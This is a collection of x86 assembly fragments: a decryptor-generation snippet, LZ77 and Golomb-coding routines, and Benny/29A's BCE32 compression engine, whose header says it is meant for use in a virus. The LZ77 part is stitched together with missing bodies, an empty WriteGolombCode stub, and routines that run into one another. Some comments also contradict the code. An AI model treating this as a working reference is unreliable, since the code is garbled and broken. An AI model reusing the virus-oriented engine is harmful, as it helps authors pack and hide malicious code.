ChoiseCodeToTest:
push edi
mov eax,[ebp+LenNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_TestregImm32_table+eax]
pop edi
.if eax==1h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
lea edi,[ebp+Addr2]
lea esi,[ebp+DecryTempCode2]
mov ecx,[ebp+CTN]
ret
;*********************************************************************
;* *
;* LZ77Compress() *
;* [Param1] *
;* [Param2] *
;* [Param3] *
;* [Param4] *
;* *
;* Remarks: *
;* Decompress the data. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer containing the data that will be *
;* compressed. *
;* [Param2] *
;* The total bytes of the data that will be compressed *
;* [Param3] *
;* Point to the buffer where the data will be stored after *
;* compression. *
;* [Param4] *
;* Point to the variable that will save the number of bits of *
;* the data after compression *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
mov ecx, ebx ;After MAX_WND_SIZE bytes data have been
shr ecx, 3 ;compressed, we should assume the
cmp ecx, edx ;compressibility of the data.
jbe lb_DataCompressibilityIsStillGood ;
mov eax, [esi]
push 8
pop ecx
call WriteBitsToBitStream
inc esi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesCoded]
jmp lp_CompressDataWithLZ77
lb_AllBytesCompressed:
lb_ExitLZ77Compress:
mov eax, [ebp][pulNumberOfBits]
mov [eax], ebx
mov esp, ebp
popad
ret 16
;*********************************************************************
;* *
;* WriteBitsToBitStream() *
;* *
;* Remarks: *
;* Writing a series of bits to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The address is *
;* byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the new bits will *
;* be written. *
;* [Eax] *
;* The bits that will be wtitten to the bit stream. *
;* [Ecx]: *
;* The number of bits that will be written to the bit stream. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
WriteBitsToBitStream:
lp_LoopOfWritingOffset:
shr eax, 1
jc lb_CurrentBitIs1
call Write0ToBitStream
jmp lb_WriteNextBit
lb_CurrentBitIs1:
call Write1ToBitStream
lb_WriteNextBit:
loop lp_LoopOfWritingOffset
ret
;*********************************************************************
;* *
;* Write1ToBitStream() *
;* *
;* Remarks: *
;* Writing 1 to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The *
;* address is byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the data 1 will *
;* be written. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
Write1ToBitStream:
lb_Write1ToBitStream:
push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
or [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret
;*********************************************************************
;* *
;* Write0ToBitStream *
;* *
;* Remarks: *
;* Writing 0 to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The address is *
;* byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the data 0 will *
;* be written. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
Write0ToBitStream:
lb_Write0ToBitStream:
push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
not edx
and [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret
;*********************************************************************
;* *
;* CompareStrings() *
;* *
;* Remarks: *
;* Compare two strings. *
;* *
;* Parameters: *
;* [Ecx] *
;* Point to string1. *
;* [Edi] *
;* Point to string2. *
;* [Ecx] *
;* The max length of comparation length. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
CompareStrings:
;//{
push esi
push edi
;lea eax, [esi+1]
;cld
;rep cmpsb
mov eax, esi
lp_CompareStrings:
mov dl, [esi]
cmp dl, [edi]
jnz lb_StringsUnmatched
inc esi
inc edi
loop lp_CompareStrings
lb_StringsUnmatched:
sub esi, eax
mov eax, esi
pop edi
pop esi
ret
;//}
;*********************************************************************
;* FindSubStringWithMaxLength() *
;* *
;* Remarks: *
;* Find the sub string of string2 with the max length *
;* that matches string1. *
;* *
;* Parameters: *
;* [Ecx] *
;* The max length of string1. *
;* [Esi] *
;* Point to string1. *
;* [Edi] *
;* Point to string2. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
FindSubStringWithMaxLength:
;//{
push esi
push edi
xor eax, eax
mov [ebp][ulLength], eax ; Initailzie return value
mov [ebp][ulOffset], eax ; Initialize return value
mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
mov edi, edx
mov [ebp][ulLength], eax
mov eax, edi
sub eax, [ebp][pSlideWindowPtr]
mov [ebp][ulOffset], eax
lb_SubStringIsNotTheLongest:
inc edi
loop lb_LoopOfFindSubStrings
lb_ExitFindLongestSubstring:
pop edi
pop esi
ret
;//}
;*********************************************************************
;* *
;* WriteGolombCode() *
;* *
;* Remarks: *
;* Write the Golomb code to the bit stream. *
;* *
;* Parameters: *
;* [Eax] *
;* The value which is to be coded. *
;* [Edi] *
;* Point to start address of the bit stream. *
;* [Ebx] *
;* The offset in the bit stream where the Golomb code *
;* will be written. *
;* *
;* Return value: *
;* The length of the coding. *
;* *
;*********************************************************************
WriteGolombCode:
;*********************************************************************
;* *
;* LZ77Decompress() *
;* [Param1] *
;* [Param2] *
;* [Param3] *
;* [Param4] *
;* *
;* Remarks: *
;* Decompress the data. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer containing the data that will be *
;* decompressed. *
;* [Param2] *
;* The total bits of the data that will be decompressed *
;* [Param3] *
;* Point to the buffer where the data will be stored after *
;* decompression. *
;* [Param4] *
;* The number of bytes of the data after decompression *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
ulNumberOfBits = (BASE_OFFSET+4)
pOutputBuffer = (BASE_OFFSET+8)
pulNumberOfBytes = (BASE_OFFSET+12)
LZ77Decompress:
pushad
mov ebp, esp
xor ebx, ebx ; Initialize bit offset
mov esi, [ebp][pDataBuffer]
mov edi, [ebp][pOutputBuffer]
mov eax, ebx
shr eax, 3
add eax, esi
mov ecx, ebx
and ecx, 7
mov eax, [eax]
shr eax, cl
and eax, 1
pop ecx
inc ebx
ret
ReadBitsFromBitStream:
push edi
push edx
xor edx, edx
xor edi, edi
xchg ecx, edi
lb_LoopOfReadBits:
call ReadBitFromBitStream
shl eax, cl
or edx, eax
inc ecx
dec edi
jnz lb_LoopOfReadBits
mov eax, edx
pop edx
pop edi
ret
;*********************************************************************
;* *
;* ReadGolombCode() *
;* *
;* Remarks: *
;* Read the Golomb code from the bit stream. *
;* *
;* Parameters: *
;* [Esi] *
;* Point to start address of the bit stream. *
;* [Ebx] *
;* The offset in the bit stream where the Golomb code will *
;* be read from. *
;* *
;* Return value: *
;* [Ecx] *
;* The decoding value *
;* *
;*********************************************************************
ReadGolombCode:
call ReadBitFromBitStream
shl eax, cl
or edx, eax
inc ecx
cmp ecx, M
jb lb_LoopOfDecodingR
mov ecx, edx
pop edx
shl edx, M
lea ecx, [ecx+edx+1]
ret
算法B.
;Benny的BCE32 Engine,我认为这是最好的代码
;How can I use BCE32 in my virus ?
;==================================
;
;BCE32 is placed in two procedures called BCE32_Compress and BCE32_Decompress.
;
;
;a) BCE32_Compress:
;-------------------
;Input state:
;1) ESI register - pointer to data, which will be compressed
;2) EDI register - pointer to memory, where will be placed compressed data
;3) ECX register - number of bytes to compress + 1 (do not forget "+ 1" !)
;4) EBX register - work memory (16 bytes)
;5) EDX register - work memory (16 bytes). MUST NOT be same as EBX !
;
;call BCE32_Compress
;
;Output state:
;1) EAX register - new size of compressed data
;2) CF set, if negative compression
;3) Other registers r preserved (except FLAGS)
;
;
;b) BCE32_Decompress:
;---------------------
;Input state:
;1) ESI register - pointer to compressed data
;2) EDI register - pointer to memory, where will be placed decompressed data
;3) ECX register - number of bytes to decompress (EAX value returned by
; BCE32_Compress) - 1 (do not forget "- 1" !)
;
;call BCE32_Decompress
;
;Output state:
;1) All registers r preserved
;
;
;WARNING: Be sure, u have enought memory for case of negative compression.
;NOTE:U can compress (in some special cases) already compressed data.
;For this purpose exists output parameters EAX and CF.
;
;
;
;Do u like this (or my another work) ?
;======================================
;
;Gimme know. If u have some notes or commentz for this, for another work,
;or if u simply like it, mail me to benny@post.cz. Thanx.
;
;
;
;Don't u like it ?
;==================
;
;Fuck u.
;
;
;
;(c) by Benny/29A May 1999.
BCE32_CompressProc;compression procedure
pushad;save all regs
;stage 1
pushad;and again
create_table:
push ecx;save for l8r usage
push 4
pop ecx;ECX = 4
lodsb;load byte to AL
l_table:push eax;save it
xor edx, edx;EDX = 0
and al, 3;this stuff will separate and test
je st_end;bit groups
cmp al, 2
je st2
cmp al, 3
je st3
st1:inc edx;01
jmp st_end
st2:inc edx;10
inc edx
jmp st_end
st3:mov dl, 3;11
st_end:inc dword ptr [ebx+4*edx];increment count in table
pop eax
ror al, 2;next bit group
loop l_table
pop ecx;restore number of bytes
loop create_table;next byte
push 4;this will check for same numbers
pop ecx;ECX = 4
re_t:cdq;EDX = 0
t_loop:mov eax, [ebx+4*edx];load DWORD
inc dword ptr [ebx+4*edx];increment it
cmp eax, [ebx];test for same numbers
je _inc_;...
cmp eax, [ebx+4];...
je _inc_;...
cmp eax, [ebx+8];...
je _inc_;...
cmp eax, [ebx+12];...
jne ninc_;...
_inc_:inc dword ptr [ebx+4*edx];same, increment it
inc ecx;increment counter (check it in next turn)
ninc_:cmp dl, 3;table overflow ?
je re_t;yeah, once again
inc edx;increment offset to table
loop t_loop;loop
popad;restore regs
;stage 2
pushad;save all regs
mov esi, ebx;get pointer to table
push 3
pop ebx;EBX = 3
mov ecx, ebx;ECX = 3
rep_sort:;bubble sort = the biggest value will
;always "bubble up", so we know number
;steps
push ecx;save it
mov ecx, ebx;set pointerz
mov edi, edx;...
push edx;save it
lodsd;load DWORD (count)
mov edx, eax;save it
sort:lodsd;load next
cmp eax, edx;is it bigger
jb noswap;no, store it
xchg eax, edx;yeah, swap DWORDs
noswap:stosd;store it
loop sort;next DWORD
mov eax, edx;biggest in EDX, swap it
stosd;and store
lea esi, [edi-16];get back pointer
pop edx;restore regs
pop ecx
loop rep_sort;and try next DWORD
popad
;stage 3
pushad;save all regs
xor eax, eax;EAX = 0
push eax;save it
push 4
pop ecx;ECX = 4
n_search:
push edx;save regs
push ecx
lea esi, [ebx+4*eax];get pointer to table
push eax;store reg
lodsd;load DWORD to EAX
push 3
pop ecx;ECX = 3
mov edi, ecx;set pointerz
search:mov esi, edx
push eax;save it
lodsd;load next
mov ebp, eax
pop eax
cmp eax, ebp;end ?
je end_search
dec edi;next search
add edx, 4
loop search
end_search:
pop eax;and next step
inc eax
pop ecx
pop edx
add [esp], edi
rol byte ptr [esp], 2
loop n_search
pop [esp.Pushad_ebx];restore all
popad;...
;stage 4
xor ebp, ebp;EBP = 0
xor edx, edx;EDX = 0
mov [edi], bl;store decryption key
inc edi;increment pointer
next_byte:
xor eax, eax;EAX = 0
push ecx
lodsb;load next byte
push 4
pop ecx;ECX = 4
next_bits:
push ecx;store regs
push eax
and al, 3;separate bit group
push ebx;compare with next group
and bl, 3
cmp al, bl
pop ebx
je cb0
push ebx;compare with next group
ror bl, 2
and bl, 3
cmp al, bl
pop ebx
je cb1
push ebx;compare with next group
ror bl, 4
and bl, 3
cmp al, bl
pop ebx
je cb2
push 0;store bit 0
call copy_bit
push 1;store bit 1
call copy_bit
cb0:push 1;store bit 1
end_cb1:call copy_bit
pop eax
pop ecx
ror al, 2
loop next_bits;next bit
pop ecx
loop next_byte;next byte
mov eax, edi;save new size
sub eax, [esp.Pushad_edi];...
mov [esp.Pushad_eax], eax;...
popad;restore all regs
cmp eax, ecx;test for negative compression
jb c_ok;positive compression
stc;clear flag
ret;and quit
c_ok:clc;negative compression, set flag
ret;and quit
cb1:push 0;store bit 0
end_cb2:call copy_bit
push 0;store bit 0
jmp end_cb1
cb2:push 0;store bit 0
call copy_bit
push 1;store bit 1
jmp end_cb2
copy_bit:
mov eax, ebp;get byte from EBP
shl al, 1;make space for next bit
or al, [esp+4];set bit
cbit:inc edx;increment counter
cmp dl, 8;byte full ?
jne n_byte;no, continue
stosb;yeah, store byte
xor eax, eax;and prepare next one
cdq;...
n_byte:mov ebp, eax;save back byte
ret Pshd;quit from procedure with one parameter on stack
db'[BCE32]', 0;little signature
BCE32_CompressEndP;end of compression procedure
lodsb;load decryption key
push eax;store it
lodsb;load first byte
push 8;store 8
push edx;store 0
d_bits:push ecx;store ECX
test al, 80h;test for 1
jne db0
test al, 0c0h;test for 00
je db1
test al, 0a0h;test for 010
je db2
mov cl, 6;its 011
jmp tb2
testb:test bl, 1;is it 1 ?
jne p1
push 0;no, store 0
_tb_:mov eax, ebp;load byte to EAX
or al, [esp];set bit
ror al, 1;and make space for next one
call cbit;end of procedure
ret;...
p1:push 1;store 1
jmp _tb_;and continue
db0:xor cl, cl;CL = 0
mov byte ptr [esp+4], 1;store 1
testbits:
push eax;store it
push ebx;...
mov ebx, [esp+20];load parameter
ror bl, cl;shift to next bit group
call testb;test bit
ror bl, 1;next bit
call testb;test it
pop ebx;restore regs
pop eax
mov ecx, [esp+4];load parameter
bcopy:cmp byte ptr [esp+8], 8;8. bit ?
jne dnlb;nope, continue
mov ebx, eax;load next byte
lodsb
xchg eax, ebx
mov byte ptr [esp+8], 0;and nulify parameter
dec dword ptr [esp];decrement parameter
dnlb:shl al, 1;next bit
test bl, 80h;is it 1 ?
je nb;no, continue
or al, 1;yeah, set bit
nb:rol bl, 1;next bit
inc byte ptr [esp+8];increment parameter
loop bcopy;and align next bits
pop ecx;restore ECX
inc ecx;test flags
dec ecx;...
jns d_bits;if not sign, jump
pop eax;delete pushed parameters
pop eax;...
pop eax;...
popad;restore all regs
ret;and quit
db1:mov cl, 2;2. bit in decryption key
mov [esp+4], cl;2 bit wide
jmp testbits;test bits
db2:mov cl, 4;4. bit
tb2:mov byte ptr [esp+4], 3;3 bit wide
jmp testbits;test bits
BCE32_DecompressEndP;end of decompression procedure